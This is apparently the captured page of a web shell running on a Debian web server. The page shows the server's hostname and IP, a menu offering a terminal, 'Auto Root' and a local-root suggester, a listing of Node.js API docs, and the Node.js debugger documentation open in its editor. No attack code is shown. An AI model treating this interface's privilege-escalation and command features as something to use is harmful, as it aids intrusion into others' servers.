Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
nodejs /
api /
Delete
Unzip
Name
Size
Permission
Date
Action
assets
[ DIR ]
drwxr-xr-x
2024-03-12 22:00
addons.html
97.31
KB
-rw-r--r--
2023-02-16 16:32
addons.json.gz
10.85
KB
-rw-r--r--
2023-02-16 16:32
addons.md
39.44
KB
-rw-r--r--
2023-02-16 16:32
all.html
5.07
MB
-rw-r--r--
2023-02-16 16:32
all.json.gz
731.61
KB
-rw-r--r--
2023-02-16 16:32
assert.html
119.06
KB
-rw-r--r--
2023-02-16 16:32
assert.json.gz
11.95
KB
-rw-r--r--
2023-02-16 16:32
assert.md
47.93
KB
-rw-r--r--
2023-02-16 16:32
async_hooks.html
94.76
KB
-rw-r--r--
2023-02-16 16:32
async_hooks.json.gz
13.99
KB
-rw-r--r--
2023-02-16 16:32
async_hooks.md
38.62
KB
-rw-r--r--
2023-02-16 16:32
buffer.html
289.59
KB
-rw-r--r--
2023-02-16 16:32
buffer.json.gz
25.79
KB
-rw-r--r--
2023-02-16 16:32
buffer.md
109.83
KB
-rw-r--r--
2023-02-16 16:32
child_process.html
157.19
KB
-rw-r--r--
2023-02-16 16:32
child_process.json.gz
20.66
KB
-rw-r--r--
2023-02-16 16:32
child_process.md
69.69
KB
-rw-r--r--
2023-02-16 16:32
cli.html
101.2
KB
-rw-r--r--
2023-02-16 16:32
cli.json.gz
18.64
KB
-rw-r--r--
2023-02-16 16:32
cli.md
48.31
KB
-rw-r--r--
2023-02-16 16:32
cluster.html
66.15
KB
-rw-r--r--
2023-02-16 16:32
cluster.json.gz
9.35
KB
-rw-r--r--
2023-02-16 16:32
cluster.md
24.83
KB
-rw-r--r--
2023-02-16 16:32
console.html
50.79
KB
-rw-r--r--
2023-02-16 16:32
console.json.gz
6.09
KB
-rw-r--r--
2023-02-16 16:32
console.md
16.55
KB
-rw-r--r--
2023-02-16 16:32
corepack.html
16.53
KB
-rw-r--r--
2023-02-16 16:32
corepack.json.gz
2.5
KB
-rw-r--r--
2023-02-16 16:32
corepack.md
5.02
KB
-rw-r--r--
2023-02-16 16:32
crypto.html
297.42
KB
-rw-r--r--
2023-02-16 16:32
crypto.json.gz
32.03
KB
-rw-r--r--
2023-02-16 16:32
crypto.md
124.37
KB
-rw-r--r--
2023-02-16 16:32
debugger.html
21.84
KB
-rw-r--r--
2023-02-16 16:32
debugger.json.gz
2.87
KB
-rw-r--r--
2023-02-16 16:32
debugger.md
6.43
KB
-rw-r--r--
2023-02-16 16:32
deprecations.html
142.87
KB
-rw-r--r--
2023-02-16 16:32
deprecations.json.gz
19.41
KB
-rw-r--r--
2023-02-16 16:32
deprecations.md
81.32
KB
-rw-r--r--
2023-02-16 16:32
dgram.html
67.31
KB
-rw-r--r--
2023-02-16 16:32
dgram.json.gz
9.74
KB
-rw-r--r--
2023-02-16 16:32
dgram.md
27.81
KB
-rw-r--r--
2023-02-16 16:32
diagnostics_channel.html
21.94
KB
-rw-r--r--
2023-02-16 16:32
diagnostics_channel.json.gz
2.33
KB
-rw-r--r--
2023-02-16 16:32
diagnostics_channel.md
5.5
KB
-rw-r--r--
2023-02-16 16:32
dns.html
109.94
KB
-rw-r--r--
2023-02-16 16:32
dns.json.gz
15.18
KB
-rw-r--r--
2023-02-16 16:32
dns.md
44.29
KB
-rw-r--r--
2023-02-16 16:32
documentation.html
18.64
KB
-rw-r--r--
2023-02-16 16:32
documentation.json.gz
1.95
KB
-rw-r--r--
2023-02-16 16:32
documentation.md
4.05
KB
-rw-r--r--
2023-02-16 16:32
domain.html
41.6
KB
-rw-r--r--
2023-02-16 16:32
domain.json.gz
6.21
KB
-rw-r--r--
2023-02-16 16:32
domain.md
15.2
KB
-rw-r--r--
2023-02-16 16:32
embedding.html
24.89
KB
-rw-r--r--
2023-02-16 16:32
embedding.json.gz
3.56
KB
-rw-r--r--
2023-02-16 16:32
embedding.md
8.67
KB
-rw-r--r--
2023-02-16 16:32
errors.html
189.76
KB
-rw-r--r--
2023-02-16 16:32
errors.json.gz
36.83
KB
-rw-r--r--
2023-02-16 16:32
errors.md
82.9
KB
-rw-r--r--
2023-02-16 16:32
esm.html
101.35
KB
-rw-r--r--
2023-02-16 16:32
esm.json.gz
16.45
KB
-rw-r--r--
2023-02-16 16:32
esm.md
50.17
KB
-rw-r--r--
2023-02-16 16:32
events.html
129.79
KB
-rw-r--r--
2023-02-16 16:32
events.json.gz
14.04
KB
-rw-r--r--
2023-02-16 16:32
events.md
43.71
KB
-rw-r--r--
2023-02-16 16:32
fs.html
500.94
KB
-rw-r--r--
2023-02-16 16:32
fs.json.gz
58.58
KB
-rw-r--r--
2023-02-16 16:32
fs.md
208.76
KB
-rw-r--r--
2023-02-16 16:32
globals.html
29.77
KB
-rw-r--r--
2023-02-16 16:32
globals.json.gz
3.82
KB
-rw-r--r--
2023-02-16 16:32
globals.md
8.21
KB
-rw-r--r--
2023-02-16 16:32
http.html
213.36
KB
-rw-r--r--
2023-02-16 16:32
http.json.gz
31.02
KB
-rw-r--r--
2023-02-16 16:32
http.md
91.28
KB
-rw-r--r--
2023-02-16 16:32
http2.html
274.92
KB
-rw-r--r--
2023-02-16 16:32
http2.json.gz
37.5
KB
-rw-r--r--
2023-02-16 16:32
http2.md
123.62
KB
-rw-r--r--
2023-02-16 16:32
https.html
44.76
KB
-rw-r--r--
2023-02-16 16:32
https.json.gz
5.04
KB
-rw-r--r--
2023-02-16 16:32
https.md
14.58
KB
-rw-r--r--
2023-02-16 16:32
index.html
12.48
KB
-rw-r--r--
2023-02-16 16:32
index.json
54
B
-rw-r--r--
2023-02-16 16:32
index.md
1.75
KB
-rw-r--r--
2023-02-16 16:32
inspector.html
25.8
KB
-rw-r--r--
2023-02-16 16:32
inspector.json.gz
3.26
KB
-rw-r--r--
2023-02-16 16:32
inspector.md
6.66
KB
-rw-r--r--
2023-02-16 16:32
intl.html
25.32
KB
-rw-r--r--
2023-02-16 16:32
intl.json.gz
3.83
KB
-rw-r--r--
2023-02-16 16:32
intl.md
10.46
KB
-rw-r--r--
2023-02-16 16:32
module.html
24.12
KB
-rw-r--r--
2023-02-16 16:32
module.json.gz
2.7
KB
-rw-r--r--
2023-02-16 16:32
module.md
5.2
KB
-rw-r--r--
2023-02-16 16:32
modules.html
67.42
KB
-rw-r--r--
2023-02-16 16:32
modules.json.gz
11.96
KB
-rw-r--r--
2023-02-16 16:32
modules.md
30.83
KB
-rw-r--r--
2023-02-16 16:32
n-api.html
338.33
KB
-rw-r--r--
2023-02-16 16:32
n-api.json.gz
49.01
KB
-rw-r--r--
2023-02-16 16:32
n-api.md
207.87
KB
-rw-r--r--
2023-02-16 16:32
net.html
111.86
KB
-rw-r--r--
2023-02-16 16:32
net.json.gz
15.48
KB
-rw-r--r--
2023-02-16 16:32
net.md
44.19
KB
-rw-r--r--
2023-02-16 16:32
os.html
60.77
KB
-rw-r--r--
2023-02-16 16:32
os.json.gz
8.44
KB
-rw-r--r--
2023-02-16 16:32
os.md
33.98
KB
-rw-r--r--
2023-02-16 16:32
packages.html
84.18
KB
-rw-r--r--
2023-02-16 16:32
packages.json.gz
13.85
KB
-rw-r--r--
2023-02-16 16:32
packages.md
41.34
KB
-rw-r--r--
2023-02-16 16:32
path.html
43.88
KB
-rw-r--r--
2023-02-16 16:32
path.json.gz
4.78
KB
-rw-r--r--
2023-02-16 16:32
path.md
14.46
KB
-rw-r--r--
2023-02-16 16:32
perf_hooks.html
71.94
KB
-rw-r--r--
2023-02-16 16:32
perf_hooks.json.gz
7.69
KB
-rw-r--r--
2023-02-16 16:32
perf_hooks.md
23.17
KB
-rw-r--r--
2023-02-16 16:32
policy.html
36.2
KB
-rw-r--r--
2023-02-16 16:32
policy.json.gz
5.16
KB
-rw-r--r--
2023-02-16 16:32
policy.md
13.9
KB
-rw-r--r--
2023-02-16 16:32
process.html
192.91
KB
-rw-r--r--
2023-02-16 16:32
process.json.gz
29.14
KB
-rw-r--r--
2023-02-16 16:32
process.md
86.44
KB
-rw-r--r--
2023-02-16 16:32
punycode.html
20.11
KB
-rw-r--r--
2023-02-16 16:32
punycode.json.gz
2
KB
-rw-r--r--
2023-02-16 16:32
punycode.md
4.17
KB
-rw-r--r--
2023-02-16 16:32
querystring.html
22.25
KB
-rw-r--r--
2023-02-16 16:32
querystring.json.gz
2.62
KB
-rw-r--r--
2023-02-16 16:32
querystring.md
5.48
KB
-rw-r--r--
2023-02-16 16:32
readline.html
70.02
KB
-rw-r--r--
2023-02-16 16:32
readline.json.gz
9.82
KB
-rw-r--r--
2023-02-16 16:32
readline.md
28.04
KB
-rw-r--r--
2023-02-16 16:32
repl.html
58.41
KB
-rw-r--r--
2023-02-16 16:32
repl.json.gz
9.98
KB
-rw-r--r--
2023-02-16 16:32
repl.md
23.61
KB
-rw-r--r--
2023-02-16 16:32
report.html
71.62
KB
-rw-r--r--
2023-02-16 16:32
report.json.gz
6.11
KB
-rw-r--r--
2023-02-16 16:32
report.md
17.92
KB
-rw-r--r--
2023-02-16 16:32
stream.html
226.65
KB
-rw-r--r--
2023-02-16 16:32
stream.json.gz
36.05
KB
-rw-r--r--
2023-02-16 16:32
stream.md
100.94
KB
-rw-r--r--
2023-02-16 16:32
string_decoder.html
17.74
KB
-rw-r--r--
2023-02-16 16:32
string_decoder.json.gz
1.54
KB
-rw-r--r--
2023-02-16 16:32
string_decoder.md
2.94
KB
-rw-r--r--
2023-02-16 16:32
synopsis.html
14.16
KB
-rw-r--r--
2023-02-16 16:32
synopsis.json
2.97
KB
-rw-r--r--
2023-02-16 16:32
synopsis.md
2.13
KB
-rw-r--r--
2023-02-16 16:32
timers.html
33.22
KB
-rw-r--r--
2023-02-16 16:32
timers.json.gz
3.79
KB
-rw-r--r--
2023-02-16 16:32
timers.md
10.55
KB
-rw-r--r--
2023-02-16 16:32
tls.html
152.42
KB
-rw-r--r--
2023-02-16 16:32
tls.json.gz
29.84
KB
-rw-r--r--
2023-02-16 16:32
tls.md
81.06
KB
-rw-r--r--
2023-02-16 16:32
tracing.html
22.65
KB
-rw-r--r--
2023-02-16 16:32
tracing.json.gz
2.76
KB
-rw-r--r--
2023-02-16 16:32
tracing.md
6.59
KB
-rw-r--r--
2023-02-16 16:32
tty.html
29.38
KB
-rw-r--r--
2023-02-16 16:32
tty.json.gz
3.67
KB
-rw-r--r--
2023-02-16 16:32
tty.md
8.78
KB
-rw-r--r--
2023-02-16 16:32
url.html
122.59
KB
-rw-r--r--
2023-02-16 16:32
url.json.gz
14.63
KB
-rw-r--r--
2023-02-16 16:32
url.md
49.32
KB
-rw-r--r--
2023-02-16 16:32
util.html
199.74
KB
-rw-r--r--
2023-02-16 16:32
util.json.gz
20.67
KB
-rw-r--r--
2023-02-16 16:32
util.md
71.47
KB
-rw-r--r--
2023-02-16 16:32
v8.html
51.82
KB
-rw-r--r--
2023-02-16 16:32
v8.json.gz
6.4
KB
-rw-r--r--
2023-02-16 16:32
v8.md
16.55
KB
-rw-r--r--
2023-02-16 16:32
vm.html
123.73
KB
-rw-r--r--
2023-02-16 16:32
vm.json.gz
15.86
KB
-rw-r--r--
2023-02-16 16:32
vm.md
55.37
KB
-rw-r--r--
2023-02-16 16:32
wasi.html
21.38
KB
-rw-r--r--
2023-02-16 16:32
wasi.json.gz
2.81
KB
-rw-r--r--
2023-02-16 16:32
wasi.md
6.27
KB
-rw-r--r--
2023-02-16 16:32
worker_threads.html
90.53
KB
-rw-r--r--
2023-02-16 16:32
worker_threads.json.gz
13.2
KB
-rw-r--r--
2023-02-16 16:32
worker_threads.md
39
KB
-rw-r--r--
2023-02-16 16:32
zlib.html
95.31
KB
-rw-r--r--
2023-02-16 16:32
zlib.json.gz
10.35
KB
-rw-r--r--
2023-02-16 16:32
zlib.md
35.03
KB
-rw-r--r--
2023-02-16 16:32
Save
Rename
# Debugger <!--introduced_in=v0.9.12--> > Stability: 2 - Stable <!-- type=misc --> Node.js includes a command-line debugging utility. To use it, start Node.js with the `inspect` argument followed by the path to the script to debug. ```console $ node inspect myscript.js < Debugger listening on ws://127.0.0.1:9229/621111f9-ffcb-4e82-b718-48a145fa5db8 < For help, see: https://nodejs.org/en/docs/inspector < < Debugger attached. < ok Break on start in myscript.js:2 1 // myscript.js > 2 global.x = 5; 3 setTimeout(() => { 4 debugger; debug> ``` The Node.js debugger client is not a full-featured debugger, but simple step and inspection are possible. Inserting the statement `debugger;` into the source code of a script will enable a breakpoint at that position in the code: <!-- eslint-disable no-debugger --> ```js // myscript.js global.x = 5; setTimeout(() => { debugger; console.log('world'); }, 1000); console.log('hello'); ``` Once the debugger is run, a breakpoint will occur at line 3: ```console $ node inspect myscript.js < Debugger listening on ws://127.0.0.1:9229/621111f9-ffcb-4e82-b718-48a145fa5db8 < For help, see: https://nodejs.org/en/docs/inspector < < Debugger attached. < ok Break on start in myscript.js:2 1 // myscript.js > 2 global.x = 5; 3 setTimeout(() => { 4 debugger; debug> cont < hello < break in myscript.js:4 2 global.x = 5; 3 setTimeout(() => { > 4 debugger; 5 console.log('world'); 6 }, 1000); debug> next break in myscript.js:5 3 setTimeout(() => { 4 debugger; > 5 console.log('world'); 6 }, 1000); 7 console.log('hello'); debug> repl Press Ctrl+C to leave debug repl > x 5 > 2 + 2 4 debug> next < world < break in myscript.js:6 4 debugger; 5 console.log('world'); > 6 }, 1000); 7 console.log('hello'); 8 debug> .exit $ ``` The `repl` command allows code to be evaluated remotely. The `next` command steps to the next line. Type `help` to see what other commands are available. Pressing `enter` without typing a command will repeat the previous debugger command. ## Watchers It is possible to watch expression and variable values while debugging. On every breakpoint, each expression from the watchers list will be evaluated in the current context and displayed immediately before the breakpoint's source code listing. To begin watching an expression, type `watch('my_expression')`. The command `watchers` will print the active watchers. To remove a watcher, type `unwatch('my_expression')`. ## Command reference ### Stepping * `cont`, `c`: Continue execution * `next`, `n`: Step next * `step`, `s`: Step in * `out`, `o`: Step out * `pause`: Pause running code (like pause button in Developer Tools) ### Breakpoints * `setBreakpoint()`, `sb()`: Set breakpoint on current line * `setBreakpoint(line)`, `sb(line)`: Set breakpoint on specific line * `setBreakpoint('fn()')`, `sb(...)`: Set breakpoint on a first statement in function's body * `setBreakpoint('script.js', 1)`, `sb(...)`: Set breakpoint on first line of `script.js` * `setBreakpoint('script.js', 1, 'num < 4')`, `sb(...)`: Set conditional breakpoint on first line of `script.js` that only breaks when `num < 4` evaluates to `true` * `clearBreakpoint('script.js', 1)`, `cb(...)`: Clear breakpoint in `script.js` on line 1 It is also possible to set a breakpoint in a file (module) that is not loaded yet: ```console $ node inspect main.js < Debugger listening on ws://127.0.0.1:9229/48a5b28a-550c-471b-b5e1-d13dd7165df9 < For help, see: https://nodejs.org/en/docs/inspector < < Debugger attached. < ok Break on start in main.js:1 > 1 const mod = require('./mod.js'); 2 mod.hello(); 3 mod.hello(); debug> setBreakpoint('mod.js', 22) Warning: script 'mod.js' was not loaded yet. debug> c break in mod.js:22 20 // USE OR OTHER DEALINGS IN THE SOFTWARE. 21 >22 exports.hello = function() { 23 return 'hello from module'; 24 }; debug> ``` It is also possible to set a conditional breakpoint that only breaks when a given expression evaluates to `true`: ```console $ node inspect main.js < Debugger listening on ws://127.0.0.1:9229/ce24daa8-3816-44d4-b8ab-8273c8a66d35 < For help, see: https://nodejs.org/en/docs/inspector < Debugger attached. Break on start in main.js:7 5 } 6 > 7 addOne(10); 8 addOne(-1); 9 debug> setBreakpoint('main.js', 4, 'num < 0') 1 'use strict'; 2 3 function addOne(num) { > 4 return num + 1; 5 } 6 7 addOne(10); 8 addOne(-1); 9 debug> cont break in main.js:4 2 3 function addOne(num) { > 4 return num + 1; 5 } 6 debug> exec('num') -1 debug> ``` ### Information * `backtrace`, `bt`: Print backtrace of current execution frame * `list(5)`: List scripts source code with 5 line context (5 lines before and after) * `watch(expr)`: Add expression to watch list * `unwatch(expr)`: Remove expression from watch list * `watchers`: List all watchers and their values (automatically listed on each breakpoint) * `repl`: Open debugger's repl for evaluation in debugging script's context * `exec expr`: Execute an expression in debugging script's context ### Execution control * `run`: Run script (automatically runs on debugger's start) * `restart`: Restart script * `kill`: Kill script ### Various * `scripts`: List all loaded scripts * `version`: Display V8's version ## Advanced usage ### V8 inspector integration for Node.js V8 Inspector integration allows attaching Chrome DevTools to Node.js instances for debugging and profiling. It uses the [Chrome DevTools Protocol][]. V8 Inspector can be enabled by passing the `--inspect` flag when starting a Node.js application. It is also possible to supply a custom port with that flag, e.g. `--inspect=9222` will accept DevTools connections on port 9222. To break on the first line of the application code, pass the `--inspect-brk` flag instead of `--inspect`. ```console $ node --inspect index.js Debugger listening on ws://127.0.0.1:9229/dc9010dd-f8b8-4ac5-a510-c1a114ec7d29 For help, see: https://nodejs.org/en/docs/inspector ``` (In the example above, the UUID dc9010dd-f8b8-4ac5-a510-c1a114ec7d29 at the end of the URL is generated on the fly, it varies in different debugging sessions.) If the Chrome browser is older than 66.0.3345.0, use `inspector.html` instead of `js_app.html` in the above URL. Chrome DevTools doesn't support debugging [worker threads][] yet. [ndb][] can be used to debug them. [Chrome DevTools Protocol]: https://chromedevtools.github.io/devtools-protocol/ [ndb]: https://github.com/GoogleChromeLabs/ndb/ [worker threads]: worker_threads.md